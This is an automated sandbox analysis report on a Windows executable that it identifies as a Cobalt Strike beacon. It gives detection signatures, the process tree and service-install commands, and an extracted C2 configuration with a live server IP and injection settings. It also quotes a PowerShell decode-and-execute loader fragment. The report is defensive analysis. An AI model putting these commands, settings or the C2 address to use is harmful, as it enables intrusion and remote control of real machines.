Edit tour

Windows Analysis Report
8082-svc-x86.exe

Overview

General Information

Sample Name:	8082-svc-x86.exe
Analysis ID:	780207
MD5:	8fc088eec229a693f2d754c67a2e506a
SHA1:	0043b6ba9f8edfd83d00bbce364797d4c65b3b75
SHA256:	deeb89a16aa2b7b63504602de422f508c196b8be3289e57f3b9d74337d585425
Tags:	45139105143exeopendir
Infos:

Detection

CobaltStrike

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

System process connects to network (likely due to code injection or exploit)

Yara detected CobaltStrike

Uses known network protocols on non-standard ports

Changes security center settings (notifications, updates, antivirus, firewall)

Machine Learning detection for sample

C2 URLs / IPs found in malware configuration

Uses 32bit PE files

Found decision node followed by non-executed suspicious APIs

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

Creates files inside the system directory

Contains functionality to execute programs as a different user

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

AV process strings found (often used to terminate AV products)

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 6060 cmdline: cmd /c sc create CfsHz binpath= "C:\Users\user\Desktop\8082-svc-x86.exe" >> C:\servicereg.log 2>&1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 6100 cmdline: sc create CfsHz binpath= "C:\Users\user\Desktop\8082-svc-x86.exe" MD5: 24A3E2603E63BCB9695A2935D3B24695)

cmd.exe (PID: 3140 cmdline: cmd /c sc start CfsHz >> C:\servicestart.log 2>&1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 2752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 988 cmdline: sc start CfsHz MD5: 24A3E2603E63BCB9695A2935D3B24695)

8082-svc-x86.exe (PID: 1284 cmdline: C:\Users\user\Desktop\8082-svc-x86.exe MD5: 8FC088EEC229A693F2D754C67A2E506A)

rundll32.exe (PID: 3128 cmdline: C:\Windows\System32\rundll32.exe MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

svchost.exe (PID: 2392 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5416 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 4532 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5644 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

SgrmBroker.exe (PID: 4380 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: D3170A3F3A9626597EEE1888686E3EA6)

svchost.exe (PID: 4792 cmdline: c:\windows\system32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 5932 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc MD5: 32569E403279B3FD2EDB7EBD036273FA)

MpCmdRun.exe (PID: 5448 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: A267555174BFA53844371226F482B86B)

conhost.exe (PID: 5512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: CobaltStrike

{"BeaconType": ["HTTP"], "Port": 8082, "SleepTime": 38500, "MaxGetSize": 1399607, "Jitter": 27, "C2Server": "20.104.209.69,/broadcast", "HttpPostUri": "/1/events/com.amazon.csm.csa.prod", "Malleable_C2_Instructions": ["Remove 1308 bytes from the end", "Remove 1 bytes from the end", "Remove 194 bytes from the beginning", "Base64 decode"], "SpawnTo": "16nKFaB/gr/TtjAg2jiqFg==", "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\gpupdate.exe", "Spawnto_x64": "%windir%\\sysnative\\gpupdate.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 1670873463, "bStageCleanup": "True", "bCFGCaution": "True", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 16700, "ProcInject_PrependAppend_x86": ["kJCQ", "Empty"], "ProcInject_PrependAppend_x64": ["kJCQ", "Empty"], "ProcInject_Execute": ["ntdll.dll:RtlUserThreadStart", "SetThreadContext", "NtQueueApcThread-s", "kernel32.dll:LoadLibraryA", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "NtMapViewOfSection", "bUsesCookies": "False", "HostHeader": ""}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
8082-svc-x86.exe	CobaltStrike_Resources_Artifact32_v3_14_to_v4_x	Cobalt Strike\'s resources/artifact32{.dll,.exe,big.exe,big.dll,bigsvc.exe} signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x and resources/artifact32uac.dll for v3.14 and v4.0	gssincla@google.com	0xe07:$pushFmtStr: C7 44 24 28 5C 00 00 00 C7 44 24 24 65 00 00 00 C7 44 24 20 70 00 00 00 C7 44 24 1C 69 00 00 00 C7 44 24 18 70 00 00 00 F7 F1 C7 44 24 14 5C 00 00 00 C7 44 24 10 2E 00 00 00 C7 44 24 0C 5C 00 ... 0x44a68:$fmtStr: %c%c%c%c%c%c%c%c%cMSSE-%d-server
8082-svc-x86.exe	CobaltStrike_Resources_Artifact32svc_Exe_v3_1_v3_2_v3_14_and_v4_x	Cobalt Strike\'s resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x)	gssincla@google.com	0xbc2:$decoderFunc: 89 C8 BF 04 00 00 00 99 F7 FF 8B 7D E0 8A 04 17 30
8082-svc-x86.exe	JoeSecurity_CobaltStrike_4	Yara detected CobaltStrike	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.780101096.00000000010C6000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000007.00000002.780610935.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp	SUSP_PS1_FromBase64String_Content_Indicator	Detects suspicious base64 encoded PowerShell expressions	Florian Roth	0x70:$: ::FromBase64String("H4s 0x70:$: ::FromBase64String("H4sIA
00000007.00000002.780610935.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp	CobaltStrike_Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x	Cobalt Strike\'s resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x	gssincla@google.com	0x48:$ps1: $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String( 0x28f51:$ps2: ));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
00000007.00000002.779835594.00000000010A0000.00000020.00001000.00020000.00000000.sdmp	CobaltStrike_Sleeve_Beacon_Dll_v4_3_v4_4_v4_5_and_v4_6	Cobalt Strike\'s sleeve/beacon.dll Versions 4.3 and 4.4	gssincla@google.com	0x72da:$version_sig: 48 57 8B F2 83 F8 65 0F 87 47 03 00 00 FF 24 0x96c3:$decoder: 80 B0 20 10 0D 01 2E 40 3D 00 10 00 00 7C F1
00000006.00000000.252641646.0000000000401000.00000020.00000001.01000000.00000003.sdmp	CobaltStrike_Resources_Artifact32svc_Exe_v3_1_v3_2_v3_14_and_v4_x	Cobalt Strike\'s resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x)	gssincla@google.com	0x7c2:$decoderFunc: 89 C8 BF 04 00 00 00 99 F7 FF 8B 7D E0 8A 04 17 30
00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp	CobaltStrike_Sleeve_BeaconLoader_VA_x86_o_v4_3_v4_4_v4_5_and_v4_6	Cobalt Strike\'s sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6	gssincla@google.com	0x8b0f:$core_sig: C6 45 B0 56 C6 45 B1 69 C6 45 B2 72 C6 45 B3 74 C6 45 B4 75 C6 45 B5 61 C6 45 B6 6C C6 45 B7 41 C6 45 B8 6C C6 45 B9 6C C6 45 BA 6F C6 45 BB 63 C6 45 BC 00 0x82cb:$deobfuscator: 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 55 0C 73 19 0F B6 45 10 8B 4D 08 03 4D FC 0F BE 11 33 D0 8B 45 08 03 45 FC 88 10 EB D6 0x8f5b:$deobfuscator: 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 55 0C 73 19 0F B6 45 10 8B 4D 08 03 4D FC 0F BE 11 33 D0 8B 45 08 03 45 FC 88 10 EB D6
00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	FireEye	0x87de:$s0: 83 C6 02 8B 7D D8 B9 40 00 00 00 F3 A4 0F B6 55 18 52 6A 40 8B 45 D8 50 E8 B9 FA FF FF 83 C4 0C 8B 4D D8 51 8B 55 14 52 8B 45 08 8B 48 04 FF D1 0x946e:$s0: 83 C6 02 8B 7D D8 B9 40 00 00 00 F3 A4 0F B6 55 18 52 6A 40 8B 45 D8 50 E8 B9 FA FF FF 83 C4 0C 8B 4D D8 51 8B 55 14 52 8B 45 08 8B 48 04 FF D1 0x8fae:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 F8 8B 48 3C 89 4D FC 83 7D FC 40 72 1F 81 7D FC 00 04 00 00 73 16 8B 55 FC 03 55 F8 89 55 FC 8B 45 FC 81 38 50 45 00 00 75 02 EB 0B 8B 4D F8 83 E9 01 89 ...
00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp	CobaltStrike_C2_Encoded_XOR_Config_Indicator	Detects CobaltStrike C2 encoded profile configuration	yara@s3c.za.net	0x30e23:$s046: 2E 2F 2E 2F 2E 2C 2E 2E 2E 2C 2E 2F 2E 2C 31 BC 2E 2D 2E 2C 2E 2A 2E 2E B8 4A 2E 2A 2E 2C 2E 2A 2E 3B 75 19 2E 2B 2E 2F 2E 2C 2E 35
00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x311c5:$xo1: cATGBBO\x01\x1B\x1E
00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x8126:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75 0x8db6:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75
00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x31e8a:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x31ef6:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000007.00000002.780169919.00000000010D2000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x87:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000007.00000002.780169919.00000000010D2000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0xf3:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000006.00000002.255993294.0000000000401000.00000020.00000001.01000000.00000003.sdmp	CobaltStrike_Resources_Artifact32svc_Exe_v3_1_v3_2_v3_14_and_v4_x	Cobalt Strike\'s resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x)	gssincla@google.com	0x7c2:$decoderFunc: 89 C8 BF 04 00 00 00 99 F7 FF 8B 7D E0 8A 04 17 30
00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp	CobaltStrike_Sleeve_BeaconLoader_VA_x86_o_v4_3_v4_4_v4_5_and_v4_6	Cobalt Strike\'s sleeve/BeaconLoader.VA.x86.o (VirtualAlloc) Versions 4.3 through at least 4.6	gssincla@google.com	0x8b57:$core_sig: C6 45 B0 56 C6 45 B1 69 C6 45 B2 72 C6 45 B3 74 C6 45 B4 75 C6 45 B5 61 C6 45 B6 6C C6 45 B7 41 C6 45 B8 6C C6 45 B9 6C C6 45 BA 6F C6 45 BB 63 C6 45 BC 00 0x8313:$deobfuscator: 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 55 0C 73 19 0F B6 45 10 8B 4D 08 03 4D FC 0F BE 11 33 D0 8B 45 08 03 45 FC 88 10 EB D6 0x8fa3:$deobfuscator: 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 55 0C 73 19 0F B6 45 10 8B 4D 08 03 4D FC 0F BE 11 33 D0 8B 45 08 03 45 FC 88 10 EB D6
00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	FireEye	0x8826:$s0: 83 C6 02 8B 7D D8 B9 40 00 00 00 F3 A4 0F B6 55 18 52 6A 40 8B 45 D8 50 E8 B9 FA FF FF 83 C4 0C 8B 4D D8 51 8B 55 14 52 8B 45 08 8B 48 04 FF D1 0x94b6:$s0: 83 C6 02 8B 7D D8 B9 40 00 00 00 F3 A4 0F B6 55 18 52 6A 40 8B 45 D8 50 E8 B9 FA FF FF 83 C4 0C 8B 4D D8 51 8B 55 14 52 8B 45 08 8B 48 04 FF D1 0x8ff6:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 F8 8B 48 3C 89 4D FC 83 7D FC 40 72 1F 81 7D FC 00 04 00 00 73 16 8B 55 FC 03 55 F8 89 55 FC 8B 45 FC 81 38 50 45 00 00 75 02 EB 0B 8B 4D F8 83 E9 01 89 ...
00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp	CobaltStrike_C2_Encoded_XOR_Config_Indicator	Detects CobaltStrike C2 encoded profile configuration	yara@s3c.za.net	0x30e6b:$s046: 2E 2F 2E 2F 2E 2C 2E 2E 2E 2C 2E 2F 2E 2C 31 BC 2E 2D 2E 2C 2E 2A 2E 2E B8 4A 2E 2A 2E 2C 2E 2A 2E 3B 75 19 2E 2B 2E 2F 2E 2C 2E 35
00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth	0x3120d:$xo1: cATGBBO\x01\x1B\x1E
00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x816e:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75 0x8dfe:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75
00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x31ed2:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000006.00000002.256178175.0000000001150000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x31f3e:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
Process Memory Space: 8082-svc-x86.exe PID: 1284	CobaltStrike_C2_Encoded_XOR_Config_Indicator	Detects CobaltStrike C2 encoded profile configuration	yara@s3c.za.net	0x6cbb:$s046: 2E 2F 2E 2F 2E 2C 2E 2E 2E 2C 2E 2F 2E 2C 31 20 2E 2D 2E 2C 2E 2A 2E 2E 20 4A 2E 2A 2E 2C 2E 2A 2E 3B 75 20 2E 2B 2E 2F 2E 2C 2E 35
Process Memory Space: 8082-svc-x86.exe PID: 1284	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
Process Memory Space: rundll32.exe PID: 3128	SUSP_PS1_FromBase64String_Content_Indicator	Detects suspicious base64 encoded PowerShell expressions	Florian Roth	0x2c85:$: ::FromBase64String("H4s 0x2c85:$: ::FromBase64String("H4sIA
Process Memory Space: rundll32.exe PID: 3128	CobaltStrike_Resources_Command_Ps1_v2_5_to_v3_7_and_Resources_Compress_Ps1_v3_8_to_v4_x	Cobalt Strike\'s resources/command.ps1 for versions 2.5 to v3.7 and resources/compress.ps1 from v3.8 to v4.x	gssincla@google.com	0x2c5d:$ps1: $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String( 0x2bb66:$ps2: ));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
Process Memory Space: rundll32.exe PID: 3128	CobaltStrike_C2_Encoded_XOR_Config_Indicator	Detects CobaltStrike C2 encoded profile configuration	yara@s3c.za.net	0x4f34f:$s046: 2E 2F 2E 2F 2E 2C 2E 2E 2E 2C 2E 2F 2E 2C 31 20 2E 2D 2E 2C 2E 2A 2E 2E 20 4A 2E 2A 2E 2C 2E 2A 2E 3B 75 20 2E 2B 2E 2F 2E 2C 2E 35
Process Memory Space: rundll32.exe PID: 3128	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
Click to see the 27 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
6.2.8082-svc-x86.exe.400000.0.unpack	CobaltStrike_Resources_Artifact32_v3_14_to_v4_x	Cobalt Strike\'s resources/artifact32{.dll,.exe,big.exe,big.dll,bigsvc.exe} signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x and resources/artifact32uac.dll for v3.14 and v4.0	gssincla@google.com	0xe07:$pushFmtStr: C7 44 24 28 5C 00 00 00 C7 44 24 24 65 00 00 00 C7 44 24 20 70 00 00 00 C7 44 24 1C 69 00 00 00 C7 44 24 18 70 00 00 00 F7 F1 C7 44 24 14 5C 00 00 00 C7 44 24 10 2E 00 00 00 C7 44 24 0C 5C 00 ... 0x44a68:$fmtStr: %c%c%c%c%c%c%c%c%cMSSE-%d-server
6.2.8082-svc-x86.exe.400000.0.unpack	CobaltStrike_Resources_Artifact32svc_Exe_v3_1_v3_2_v3_14_and_v4_x	Cobalt Strike\'s resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x)	gssincla@google.com	0xbc2:$decoderFunc: 89 C8 BF 04 00 00 00 99 F7 FF 8B 7D E0 8A 04 17 30
6.2.8082-svc-x86.exe.400000.0.unpack	JoeSecurity_CobaltStrike_4	Yara detected CobaltStrike	Joe Security
6.0.8082-svc-x86.exe.400000.0.unpack	CobaltStrike_Resources_Artifact32_v3_14_to_v4_x	Cobalt Strike\'s resources/artifact32{.dll,.exe,big.exe,big.dll,bigsvc.exe} signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x and resources/artifact32uac.dll for v3.14 and v4.0	gssincla@google.com	0xe07:$pushFmtStr: C7 44 24 28 5C 00 00 00 C7 44 24 24 65 00 00 00 C7 44 24 20 70 00 00 00 C7 44 24 1C 69 00 00 00 C7 44 24 18 70 00 00 00 F7 F1 C7 44 24 14 5C 00 00 00 C7 44 24 10 2E 00 00 00 C7 44 24 0C 5C 00 ... 0x44a68:$fmtStr: %c%c%c%c%c%c%c%c%cMSSE-%d-server
6.0.8082-svc-x86.exe.400000.0.unpack	CobaltStrike_Resources_Artifact32svc_Exe_v3_1_v3_2_v3_14_and_v4_x	Cobalt Strike\'s resources/artifact32svc(big).exe signature for versions 3.1 and 3.2 (with overlap with v3.14 through v4.x)	gssincla@google.com	0xbc2:$decoderFunc: 89 C8 BF 04 00 00 00 99 F7 FF 8B 7D E0 8A 04 17 30
6.0.8082-svc-x86.exe.400000.0.unpack	JoeSecurity_CobaltStrike_4	Yara detected CobaltStrike	Joe Security
Click to see the 1 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 8082-svc-x86.exe	ReversingLabs: Detection: 92%
Source: 8082-svc-x86.exe	Virustotal: Detection: 79%			Perma Link

Antivirus / Scanner detection for submitted sample

Source: 8082-svc-x86.exe

Avira: detected

Machine Learning detection for sample

Source: 8082-svc-x86.exe

Joe Sandbox ML: detected

Source: 6.2.8082-svc-x86.exe.400000.0.unpack	Avira: Label: TR/Hijacker.Gen
Source: 6.0.8082-svc-x86.exe.400000.0.unpack	Avira: Label: TR/Hijacker.Gen

Source: 00000007.00000003.256646487.0000000000B40000.00000020.00000400.00020000.00000000.sdmp

Malware Configuration Extractor: CobaltStrike {"BeaconType": ["HTTP"], "Port": 8082, "SleepTime": 38500, "MaxGetSize": 1399607, "Jitter": 27, "C2Server": "20.104.209.69,/broadcast", "HttpPostUri": "/1/events/com.amazon.csm.csa.prod", "Malleable_C2_Instructions": ["Remove 1308 bytes from the end", "Remove 1 bytes from the end", "Remove 194 bytes from the beginning", "Base64 decode"], "SpawnTo": "16nKFaB/gr/TtjAg2jiqFg==", "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\gpupdate.exe", "Spawnto_x64": "%windir%\\sysnative\\gpupdate.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 1670873463, "bStageCleanup": "True", "bCFGCaution": "True", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 16700, "ProcInject_PrependAppend_x86": ["kJCQ", "Empty"], "ProcInject_PrependAppend_x64": ["kJCQ", "Empty"], "ProcInject_Execute": ["ntdll.dll:RtlUserThreadStart", "SetThreadContext", "NtQueueApcThread-s", "kernel32.dll:LoadLibraryA", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "NtMapViewOfSection", "bUsesCookies": "False", "HostHeader": ""}

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_010AAA7E CryptGenRandom,CryptReleaseContext,

7_2_010AAA7E

Source: 8082-svc-x86.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_010A319B _malloc,_memset,_strncmp,GetCurrentDirectoryA,FindFirstFileA,GetLastError,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,		7_2_010A319B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_010A7B20 _malloc,__snprintf,FindFirstFileA,_malloc,__snprintf,FindNextFileA,FindClose,		7_2_010A7B20

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 20.104.209.69 8082

Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 8082 -> 49722
